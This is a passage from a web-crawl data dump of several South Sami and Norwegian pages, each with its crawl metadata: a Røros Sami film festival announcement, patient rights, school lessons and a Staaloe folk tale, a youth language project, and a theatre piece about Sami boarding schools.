ekstra på sørsamiske filmer.\nRaasten Rastah: Filmh sitt tema i 2019 vil være «Vaajesth!» Sånn omentrent oversatt betyr «vaajesth» at vi vil at du skal fortelle din historie, på din måte, på ditt språk, med dine ord. Raasten Rastah: Filmh skal være et sted hvor samer og andre urfolk kan fortelle et bredt spekter av sine historier på sine premisser.\nRaasten Rastah: Filmh kan by på et omfattende barneprogram, spillefilmer, kortfilmer og dokumentarfilmer. Siden det er FNs urfolksspråkår i år, så vil vi også vise film fra andre urfolk. Det blir i tillegg samtaler og innledninger av filmene med både regissører og skuespillere. Det vises filmer hele dagen på tre ulike kinolerreter.\nPå Raasten Rastah: Filmh vil det blant annet bli førpremiere for den sørsamiske barnetv-serien «Sööfe». I denne serien er handlingen lagt til rørossamisk område, hvor mange av skuespillerne er lokale sørsamer. Vi gleder oss!\nArtikkelen fortsetter under bildet\nHovedrolleinnhaver Lene Ailin Brandsfjell Brandtzæg i den sørsamiske barnetv-serien «Sööfe» Foto: Carl Eltervaag\nI tillegg vil programmet bestå av en filmworkshop for samisk ungdom. I løpet av to dager skal ungdom lage film på sørsamisk med premierevisning under festivalen.\nRaasten rastah og Røros Kino er arrangører. Vi ønsker alle hjertelig velkommen. Det går ut en spesiell invitasjon til alle i regionen som har lyst til å oppleve mangfoldet i den samiske filmverdenen.\nRaasten rastah: Filmh\nSaemien filmefestivaale Plassjesne\nRahkan 7.-10.b. 2019 dle saemien filmefestivaale Røros Kino:sne sjædta: \"Raasten rastah: Filmh\"\nFestivaale dïeves saemien- jïh jeatjah aalkoealmetjifilmijste. Juktie mijjieh åarjelsaemien dajvesne, dle sjïere fokuse åarjelsaemien filmide.\nRaasten rastah: Filmh festivaalen aamhtese lea \"Vaajesth!\". Sïjhtebe datne edtjh dov histovrijem soptsestidh, dov vuekine, dov gïeline jïh dov baakoejgujmie. Raasten rastah: Filmh edtja sijjine årrodh gusnie saemieh jïh jeatjah aalkoealmetjh maehtieh sijjen histovrijh soptsestidh, sijjen våaroemistie.\nRaasten rastah: Filmh stoerre maanajfilmh-, guhkiesfilmh-, åenehksfilmh- jïh dokumentaerhfilmeprogrammh åtna. Juktie daan jaepien EN:en aalkoealmetji gïelejaepie, dle edtjebe aaj ovmese filmh jeatjah aalkoealmetjistie vuesiehtidh. Edtjebe aaj paneelesoptsestimmiem öörnedh, jïh dorjehtæjjah jïh regissöörh bööredh filmi bïjre soptsestidh. Vuesiehtibie filmh abpe biejjiem golme ovmese tjïehtjelinie.\nFestivaalesne åvtevuesiehtimmie orre åarjelsaemien maanaj-tv raajrose, Sööfe. Raajroe daehtie dajveste, jïh gellie dorjehtæjjijste leah åarjelsaemieh daebpede. Aavoedibie!\nProgrammesne aaj filmeworkshop saemien noeride. Gööktine biejjine edtjieh noerh filmem darjodh, åarjelsaemien gïeline. Voestesvuesiehtimmie festivaalesne sjædta.\nRaasten rastah jïh Røros Kino festivaalem öörnedehtieminie. Gaajhkesh dovnesh buerie båeteme. Sjïere bööreme gaajhkesidie mijjen dajvesne mah sijhtieh saemien filmevearelden gellielaaketjevoetem dåårjehtalledh.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/nearadio.no\/samisk\/roros-holtalen\/kultur\/raasten-rastah-filmh\/19.22341","date":"2019-09-21T02:39:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574182.31\/warc\/CC-MAIN-20190921022342-20190921044342-00134.warc.gz","language":"sma","language_score":0.912807107,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9128071069717407, \"nob_Latn_score\": 0.05753951892256737, \"sme_Latn_score\": 0.02708413638174534}","num_words":446,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":0.922,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goh skïemtjije healsoe- jih skïemtjesåjtosne datne ovmessie reaktah åtnah mah maehtieh hijven arrijh daajhtodh.. Datne reaktah åtnah guerkiehtimmie bïevnesh dov healsoen bïjre åadtjodh jih aaj gïehtjedimmie- jih båehtjierdimmievuekiej bïjre. Datne galkh aaj bïevnesh åadtjodh gusnie datne maahtah laejhtemigujmie jårredh.\nSåjhtoe jih båehtjierdimmie galkijägan dan guhkies guktie gåerede digkiedimmesne skïemtjijinie dorjesovvedh. Såemies aejkien datne aaj reaktah åtnah dov daaffam akten vielie dåakterinie digkiedidh jih akten mubpie tjielkestimmiem åadtjodh ( dagkeres \"second opinion\"). Gosse jienebh båehtjierdimmie veeljemh lea datne dïhte mij galkh veeljedh, jis ih datne veeljeme nännoestimmiem laehpedh, disse mij medisinen dïedtem åtna.\nDatne reaktam åtnah ijje gijhtedh båehtierdämman mij faaleme jih aaj båehtjierdimmiem orrijidh. Ij gie maehtieh datnem skïemtjegåatan tjabrehtidh jih datne maahtah skïemtjegåetiem laehpedh gosse sïjhth.\nIj gie maehtieh datnem tjabrehtidh badtjam vaeltedh. Datne reaktam åtnah skiemtjijejuornalem lohkedh jis datne sïjhth jih sisvegem dutnjien goerkelidh. Journalesne gaajhkide byjjehtimmide tjaelien, dov såjhtoen bïjre datne åadtjoeh.\nSkïemtjijemoenehtsen kansliese maahtah datne goh skiemtjije jallh lïhkesadtjem daj mïeligujmie jårredh:\nUppdaterad: 2015-05-24 11.55","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.berg.se\/medborgare\/kommunochpolitik\/saemienreeremedajvesamiskforvaltningskommun\/hokseviehkiejihsajhtoeomsorghjalpochvard\/skiemtjijereaktahpatientrattigheter.4.2a948e2414c4aa4dd9a2079d.html","date":"2019-09-16T16:50:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572879.28\/warc\/CC-MAIN-20190916155946-20190916181946-00472.warc.gz","language":"sma","language_score":0.999979496,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999794960021973}","num_words":156,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learoe-soejkesisnie tjaaleme datne edtjh saemien-faageles teemam åehpiedehtedh. Aaj tjaaleme datne edtjh åehpiehtiemidie goltelidh, jïh dle maehtedh dejtie vuarjasjidh jïh bïhkeden bïevnesh bååstede vedtedh.\nLaavenjasse\nDaennie laavenjassesne golme biehkieh maam edtjh darjodh.\nVoestes biehkie\nDatne edtjh åehpiedehtemem ryöjredidh jïh klaassese åehpiedehtedh. Datne maahtah soptsestidh:\n- såångedimmien jïh hïeji bïjre\n- jallh jeatjah saemien-faageles teeman bïjre, guktie beapmoe, båatsoe-burrie jnv\nDatne edtjh viertiestidh guktie aerebi jïh daelie. Åehpiedehtiemisnie maahtah guvvieh, filmh jïh tjoejh nuhtjedh. Åehpiedehteme edtja ryöhkedh 10-15 minudth.\nMubpie biehkie\nBaajh learohkh dov klaasesne jallh lohkedæjja åenehks bïhkeden bïevnesh bååstede duntjien vedtedh.\n- Dah edtjieh soptsestidh mj hijven dov åehpiedehtieminie ? (akte aamhtse)\n- Maam maahtah bueriedidh? (akte aamhtse)\nGåalmede biehkie\nMinngemes gaajkesh edtjieh daam ussjedimmie-lïerehtimmiem darjodh.\n- Tjaelieh golme aath datne daehtie åehpiedehtemistie lïereme.\n- Jis maam akt gïerve guarkedh baajh akte jeatjah learohke dam buerkiestidh.\n- Man bïjre sïjhth vielie lïeredh? Ussjedh gusnie jïh guktie maahtah vielie dan bïjre lïeredh.\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\n- Kjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:190236","date":"2019-10-23T01:25:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987826436.88\/warc\/CC-MAIN-20191022232751-20191023020251-00406.warc.gz","language":"sma","language_score":0.9999847412,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999847412109375}","num_words":208,"character_repetition_ratio":0.131,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Darjomh draamesne leah daamhtaj boelhkine juakeme. Aktene boelhkesne gellie scenah. Mijjieh maehtebe jiehtedh boelhkh leah draaman kapihtelh.\nKomposisjovne – guktie darjomh draamam ektiedieh\nJïjnjh draamah novellijste jallh romaanijste dorjesuvvieh. Dellie maanuse-tjaelije tjuara dejtie jeatjahtehtedh ihke dïhte edtja scenide sjïehtedidh. Tjuara teekstem dialoge-hammose tjaeledh jïh maahta naan heannadimmieh hiejhtedh jïh lissiehtidh. Naemhtie tjaelije darjomem draamesne daamhtaj dorjesåvva:\n- Mij edtja heannadidh? Almetjidie, ov-vaantoem jallh dåeriesmoeride åehpiedehtebe.\n- Dah dåeriesmoerh stuerebh sjidtieh, jïh gieltiegåbpoe sjædta.\n- Tsiehkie jarkele, jïh mijjieh dam jeatjhlaakan vuejnebe, orre vuekine.\n- Gieltege gieltiegåbpoe sjædta, åvtelen sööjmebe jåhta galhkuvasse.\n- Tsiehkie tjïelke sjædta, jïh mijjieh åadtjobe daejredh jis hijven jallh nåake gåarede. Mijjieh ov-vaantoste loevenibie. Mijjieh maehtebe jeereldihkie tseegkemh damtedh gaajhkine dej ovmessie draama-hammojne mah daan biejjien gååvnesieh.\nOv-vaantoe\nJis ij naan ov-vaantoe dellie ij naan draama. Mij lea draama? Dïhte mij akt man bïjre sïjhtebe soptsestidh, mejnie mijjieh pryjjebe jïh maam tuhtjebe gïeltegs. Mijjieh eadtjalgehtebe gosse almetjh vuejnebe mejtie tuhtjebe damtedh. Gïeltegs sjædta gosse dah råålla-gaagkoeh haestemh dïervesjieh jallh ov-vaantose båetieh jïh mijjieh åadtjobe vuejnedh jis dah maehtieh dåeriesmoerh loevenidh.\nOv-vaantoe gellie tsiehkijste båata, vuesiehtimmien gaavhtan maahtah ålkoldh tsiehkijste goh intrigh, tsælloeh jallh miedtemh dåeriesmoerh sjïdtedh. Råålla-gaagkoe kanne tjuara vierhtiem veeljedh jïh destie ov-vaantoe sjædta. Jallh siebriedahken, almetjen jallh eatnemen vööste gæmhpodh. Gieriesvoete lea gellien aejkien ov-vaantoen sjïeke.\nBaakoeh\n|Saemien||Daaroen|\n|darjome||aktivitet|\n|hiejhtedh||utelate|\n|boelhke||akt|\n|tsiehkie||situasjon|\n|ov-vaantoe||uenighet, konflikt|\n|tjoejh||lydeffekter|\n|eadtjalgehtedh||bli engasjert|\n|miedteme||lovbrudd|\nDraamaKjernestoff\nRaahkele-PiereKjernestoff","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:176552\/topic:1:182306\/resource:1:173186","date":"2019-10-15T22:31:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986660323.32\/warc\/CC-MAIN-20191015205352-20191015232852-00275.warc.gz","language":"sma","language_score":0.9999679327,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999679327011108}","num_words":219,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Aarporten jïh Åarjel-smaaregen soptsesh mij jaepien 1996 trygkesovvi. Just Knud Qvigstad lea gærjam tjaaleme jïh Lajla Mattsson Magga lea gærjam daaletje tjaeleme-vuekien mietie tjaaleme. Gærjesne heamturh, soptsesh jïh vaajesh gååvnesieh.\nStaaloe jïh åerpienadtjh\nIkth lin dej beeli vïjhtesh åerpienadtjh, golme lin nïejth jïh göökte baernieh. Baernieh ligan båarasommes. Akte lij dejstie nïejtijste barre onne ångkenadtje. Geerve lin gaajhkh doh jeatjegh. Dïhte båarasommes lij gujht ov goh jeatjah aehtjie, dïhte unnemes nïejtetje gujht gåhtjoeji dam sov båarasommes vïellem barre aehtjine.\nDellie akten aejkien jeahta dïhte: \"Mijjieh edtjebe gajhkh vaadtsajidh, månnoeh gööktesh edtjien mïnnedh viermieh doeredh, dijjieh nïejth galkede laadtegh tjöönghkedh laadth-bïekerisnie. Geajnoe lea gujht dagkoe: dle gujht aktesne edtjebe vaedtsedh laadth-bïekeren gåajkoe.\" Dellie jeahta dïhte båarasommes: \"Im manne daejrieh, mejtie edtjebe njoele-voessem meatan vaeltedh.\" Dohte mubpie vïelle svååroe: \"Nov gujhth vaeltien meatan\" Dellie vaadtsajin gaajhkh dovnh.\nGoh laadth-bïekeren gåajkoe böötin, dle gujht dah nïejth beetsin laadtegh tjöönghkedh. Doh vïelleh vaadtsajigan, jaevrien gåajkoe. Dellie jeehtigan dejtie nïejtide: \"Årroejidie gujht daesnie, goske månnoeh båetien! Dïhte jaevrie gujht vååjnoes dehtie laadth-bïekeristie.\" Dle vaadtsajigan dah baernieh. Dle dohte båarasommes jeahta don måbpan: \"Bööremes dam njoele-voessem laehpien, manne edtjem tsaekedh roehtsen nualan.\" Goh ligan dam dorjeme, dle vaadtsajigan.\nDoh nïejth lin muerjieh tjöönghkeminie. Dle vuejnieh, vïnhtse båata. Dle dohte unnemes nïejte gylje duejtie mubpide åerpienidie: \"Dellie aehtjie båata dïeve vïnhtsine guelijste.\" Dle vuartasjægan doh mubpieh göökte nïejth, dle dah jiehtiejægan: \"Ij leah gujht dohte aehtjie.\" Dle bööti gietskiebasse dïhte vïnhtse jïh sïelke gaadtan. Dle bööti akte almetje dehtie vïnhtseste. Dle vööjnin, ahte lea Staaloe; dellie maaje pryövedin, edtjin baataridh. Men dïhte nööremes åabpa lij dan suejmies vaarredh, idtjin gujht dam maehtieh laehpedh. Dle Staaloe jaksi jïh jeahta: \"Manne leam dijjen vïelleh gueliejaevrieh gåajkoe saahteme.\" Men dam gujht barre Staaloe slaarvesti. Dle Staaloe jeehti dejtie nïejtide: \"Dijjieh galkede dåeriedidh mov hïejmese.\" Idtjin gujht dah nïejth doesth gïrredh Staalojne jïh jeehtin: \"Tjoeveribie mih dåeriedidh.\"\nStaaloe aavone sjïdti, juktie jïjtjh sijhtieh vaedtsedh. \"Dle manne slyöhpem guedtedh. Jis eah lin sïjhteme vaedtsedh, dle tjoeveramme lim guedtedh.\" Dellie Staaloe jeahta: \"Mijjieh edtjebe vaedtsiestidh onne vielie stuhtjetjem, dle edtjebe lïegkedidh. Dle edtjebe dållem bïejedh, dle edtjem manne beapmojste vedtedh dijjide.\"\nGoh böötin dan sæjjan gusnie Staaloe sïjhti lïegkedidh, dle dållem bïejin. Staaloe beapmojste vedti dejtie nïejtide. Doh båarasommes nïejth idtjin dåhkesjh byöpmedalledh; barre småahte haarmedellieh jïh ussjedieh: \"Die gujht Staaloe mijjem bårrele, gosse mijjieh Staaloen hïejmese båetebe.\"\nDellie gujht hinnijigan dej nïejti vïelleh jaevreste båetedh. Guelieh ligan åådtjeme. Goh bååstide veedtsigan guelie-maajsoejgujmie, dle idtjigan njoele-voessem dåhkesjh guedtedh, dam leehpigan, gosse ligan bïejeme. Goh böötigan dan laadth-bïekeren gåajkoe, dle idtjigan vuejnieh dejtie sotnen åabpide: dle aerviedigan: \"Die lea gujht Staaloe vaaradamme\/vearadamme rööveme dejtie monnen åabpide. Luejhtien guelie-maajsojde daase. Vaarreh datne njoele-voessen mietie!\" Dïhte båarasommes vïelle jeahta don måbpan. \"Manne edtjem vaedtsedh bïjre jarkan jïh vuartasjidh, mah im loedtem vuejnieh, gåabpelen leah vualkeme. Gosse leam manne vuartasjamme, die gujht båatam daaj monnen maajsoej gåajkoe. Vaarreh datne varki!\" Dle dïhte feeri.\nDle vaarredi dohte båarasommes vïelle jïh vuartasji, dle vööjni loedtem, gogkoe lin vualkeme. Dle veedtsi bååstide maajsoej gåajkoe, jïh vöörti goske vïellebe bööti njoele-voessine. Dle jeahta: \"Daelie edtjien barre varki mïnngesne vaarredh dan loedten mietie; manne leam loedtem vuajneme.\" Dle vaarregöötigan. Dle böötigan akten deavan nïlle, dle vuajnajigan dejtie sotnen åabpide, jïh akte Staaloe lij aaj aktene. \"Månnoeh tjoeverien gervedh bïjre jarkan, guktie ij galkh Staaloe monnem vueptiestidh.\" Dle ojhte gervigan, dle böötigan akten gåangkoeh såekien bealese. Dle dohte båarasåbpoe vïelle jeahta: \"Dellie lean våatjoes-mïeresne. Akte lea barre daesie Staalosne: dïhte daesie lea tjelmie, juktie Staaloe lea gåårveldahkesne ruevtiejgujmie bïjre jarkan.\" Nuerebe vïelle jeahta: \"Manne sïjhtem vuetjedh.\" \"Jaa, jis barre datne dievvedh. Jis ih dievvedh, dle manne datnem vuatjam,\" dïhte båarasommes vïelle jeehti. Dle galki vuetjedh, dle jeahta: \"Baajeh annje ånnetji! Mov gïeth barre skielpesth.\" Dle vuartasjægan dej sotnen åabpaj jïh Staaloen gåajkoe. Dle vuejniejægan Staaloen gåmma lea aaj båateme. Staaloen gåmma gohtjesåvva Rovhtege. Dle dïhte nööremes vïelle leekede jïh sikti njoeline Staaloen tjalman jïh dievviedi tjelmien gaskije(gaskese).\nStaaloe eelki hojhkesjidh jïh jeahta: \"Im gujht manne ov dallah jaemieh, juktie mov lea hïegke luvliegisnie.\" Dohte lij jis nööremes nïejte Rovhtegen tjelmieh gaavneme jïh bïejeme dållese jïh jeahta: \"Dålle, vuejnieh vöörhkelh jïh båeltelh daejtie tjelmide! Datne leah stoerre veaksehke!\" Dam gujht barre dïhte nïejte soejmetji jeehti dållese. Dålle ojhte båeltieli Rovhtegen tjelmieh. Rovhtege govli, sov geelle eelki hojhkesjidh; dle varki galki maaje tjelmide vaeltedh dehtie sov vuarhkeste, men idtji annje gaavneh gænnah. Staaloe gujht jeemi. Doh vïelleh vöötjigan mubpiem njoelem Rovhtegen tjelmie-raajkan. Dïhte hojhkesjegööti barre ïpmerijhken. Dle dah vïelleh vaarrestigan dahkoe. Goh dan vïelli åerpenh dam vööjnin, dle aavone sjïdtin: \"Dastegh dam, Staaloe jïh Rovhtege dan praaretji jaememem öödtjigan(åadtjoejigan), juktie dåtnoeh lidien njoeligujmie vuatjeme.\" Dellie tååhkijin(gihtjin) dah åerpenh dejtie sijjen vïellide. Dle vaadtsajin hïejmese dah nïejth. Dah jis baernieh vöölkigan guelie-maajsoej mietie, mejtie ligan laahpeme. Dellie dah aaj hïejmese vaadtsajigan.[1]\n- 1«Aarporten jih Åarjel-smaaregen soptsesh». Qvigstad, Just Knud. Samisk Utdanningsråd. 1996.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\n- Kjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129292","date":"2019-10-17T16:58:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986675409.61\/warc\/CC-MAIN-20191017145741-20191017173241-00027.warc.gz","language":"sma","language_score":0.9999604225,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999604225158691}","num_words":912,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeleviehkie lea akte orre prosjeekte mij Gïelem Nastedh Snåasesne jïh Saemiedigkie maeksieh jïh öörnieh. Dan prosjekten ulmie lea åarjelsaemiengïelem lutnjedh jïh sjïere noeride dïjpedh saemiestæmman. Gïeleviehkien njieljie noerh leah Ramona Kappfjell Sørfjell, Jonna Dunfjeld Mølnvik, Elli-Jonna Jannok Joma jïh Anne Marja Jannok Joma.\n-Mijjieh daarpesjibie akte vielie åarjelsaemien aarena sosijaale meedijasne utnedh. Juktie åarjelsaemien gïele lea vihkeles jïh daerpies jïh mijjen gïele tjuara dalvedh. Daate prosjeekte lea gaajh orre jïh dan åvteste lea earoe Gïeleviehkie årrodh. Juktie ij naanh jeatjah leah dam aarebi dorjeme jïh daate lea voestes prosjeekte gusnie gaajhke lea åarjelsaemiengïelesne, Ramona jïh Anne Marja jiehtiejægan.\nGïeleviehkie pruvhkieh sosijaale meedijam nuhtjedh jïh aaj öörnemh öörnieh. Vuesiehtimmien gaavhtan daan jaepien Åangkerenjeeruvisnie jïh Tjaktjen Tjåanghkosne Gïeleviehkie daabloe-gæmhpome öörnin. Dah aaj pruvhkieh Instagrammem nuhtjedh jïh ovmessieh guvvieh jïh videovh bïejieh. Dah pruvhkieh sosjaale meedijam nuhtjedh juktie noerh leah Instagrammesne jïh Gïeleviehkien ulmiedåehkie lea noerh.\n-Joekoen luste Gïeleviehkie årrodh dan åvteste åadtjobe kreatijve årrodh. Jis akte åssjalommesh utnebe dellie maehtebe baarre Instagrammese bïejedh. Juktie mijjen ulmiedåehkie lea noerh jïh dannasinie mijjieh aaj jïjnjh lustesaajmoe utnebe. Kaanne aaj lea lustebe gïelem lïeredh gosse ij leah dagkeres striengkies, Anne Marja jïh Ramona jiehtiejægan.\nGïeleviehkie lea akte prosjeekte maam Gïelem Nastedh jïh Saemiedigkie öörnieh juktie daan jaepie lea Aalkoealmetjegïeli gaskenasjonaale jaepie – IYIL 2019. Dannasinie Gïeleviehkien prosjeekte lea aktem jaepiem prosjeekte. Ramona jïh Anne Marja håhkesjægan Gïeleviehkie aaj båetije biejjide jåarhka.\n-Jaavoe juktie ean sïjhth daate Instagramme-konto edtja gaarvanidh, mohte sïjhtien dïhte edtja båetije biejjide jåarhkedh. Juktie lea daelie Gïeleviehkie lea stoerre sjïdteme jïh rætnoe edtjebe galhkedh, Ramona jïh Anne Marja minngemosth jiehtiejægan.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/rorosnytt.no\/gieleviehkie-aarjelsaemien-noerh-sijhtieh-gielem-lutnjedh\/","date":"2019-10-20T05:45:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986703625.46\/warc\/CC-MAIN-20191020053545-20191020081045-00043.warc.gz","language":"sma","language_score":0.9999983311,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999983310699463}","num_words":256,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Foto: Eirik Børseth\nVuesiehtimmien Bïjre:\nLaavenjostoeguejmieh: Rohde & Aass produksjoner, Noerhte-Trööndelagen Teatere jïh Åarjelhsaemien Teatere\nAkte noere saemien nyjsenæjja voejhkele sov byjjenimmine åarjelsaemien internatesne måahtadidh jaepieh 1990 Nøørjesne. Gellie boelhkine åarjelsaemien maanah hïejmeste seedtesovveme edtjieh internaatesne årrodh skuvlesne vaedtsedh. Dïhte lij akte voerkes boelhke daaroedehtemepolitihkeste. Mænngan saemiej skuvlh vierhtine sjïdtin edtjin saemien kultuvrem gorredidh.\nEejhtegh sijjien maanide gååhkese hïejmeste seedtin juktie saemien gïelem jih kultuvrem lïeredh, jih idtjin dejtie vihth råakh eannan skuvle-eejehtimme.\nTjidtjie lea akte vuesiehtimmie deal maanaj jïh noeri bïjre. Dïhte lea vïentji jïh györemen bïjre. Vaeriej jih gieselaanten tjoevkesen bïjre. Akten gïelen bïjre mij gaarveneminie. Jïh 6.-n jaepien båeries nïejten bïjre gie tjidtjebem ohtsele, sov «Tjidtjie».\nVuesiehtimmie lea daejstie dåarjelamme: Nöörjen Kultuvreraerie, Saemiedigkie, Åarjel-Tröndelaagen Fylhkentjïelte, Noerhte-Trööndelagen Fylhkentjïelte, Noerhtelaanten Fylhkentjïelte, Tråanten tjïelte, Fond for lyd og bilde, Spenn.no, DansiT, Tråante, Olavsfestdagene\nOm forestillingen:\nEt samarbeid mellom Rohde&Aass produksjoner, Nord-Trøndelag teater og Åarjelhsaemien Teatere.\nEn ung samisk kvinne prøver å forstå og forsone seg med oppveksten sin på sørsamisk internat på 1990-tallet i Norge. Sørsamiske barn har i mange generasjoner blitt sendt hjemmefra for å bo på internat og gå på skole. Først som en bevisst del av fornorskningspolitikken. Senere som et middel i den samiske kulturens gjenreising. Foreldre sendte barna sine milevis av sted for at de skulle lære samisk språk og kultur, og så dem ofte ikke igjen før til jul eller sommer.\nTjidtjie handler om disse barna og ungdommene. Det handler om vennskap og forelskelse. om vidda og om lyset på sommerfjellet. Om et språk som er i ferd med å dø ut. Og det handler om en 6-årig jente som savner mammaen sin, sin «Tjidtjie».\nForestillingen er basert på intervjuer med sørsamer som selv har vokst opp på internat.\nForestillingen er støttet av: Norsk Kulturråd, Sametinget, Sør-Trøndelag Fylkeskommune, Nord-Trøndelag fylkeskommune, Nordland Fylkeskommune, Trondheim kommune, Fond for lyd og bilde, Spenn.no, DansiT, Tråante og Olavsfestdagene.\nBïhkedæjja jih maanuse\/Regi og manus: Ane Aass Svïhtje\/Koreograf: Mia Habib Hammoedæjja\/Scenograf: Gjermund Andresen Tjeahpoeraerije\/Dramaturg: Rasmus Rohde Tjoevke\/Lysdesigner: Eirik Brenne Torsethaugen Musihken raeriestæjja\/Musikalsk konsulent: Frode Fjellheim Dorjeje\/Produsent: Vibeke Hay Wold Jarkoestæjja jih raeriestæjja\/Språkkonsulent: Maria Kråik Stenfjell Dorjehtæjja\/Med: Marja Lisa Thomasson Joejhkere\/Joiker: Charlotta Kappfjell Tsiemije\/Perkusjonist: Tor Haugerud Daanhtsere\/Danser Erlend Audestad Danielsen\nBilletter kommer ut for salg på Nord-Trøndelag Teater sin hjemmeside, følg lenken: Forestillingen Tjidtjie","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/www.asteatere.no\/tjidtjie-mamma-har-premiere-under-olavfestdagene\/","date":"2019-10-18T05:51:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986677964.40\/warc\/CC-MAIN-20191018055014-20191018082514-00134.warc.gz","language":"sma","language_score":0.8347885013,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.8347885012626648, \"sme_Latn_score\": 0.10803131014108658, \"nob_Latn_score\": 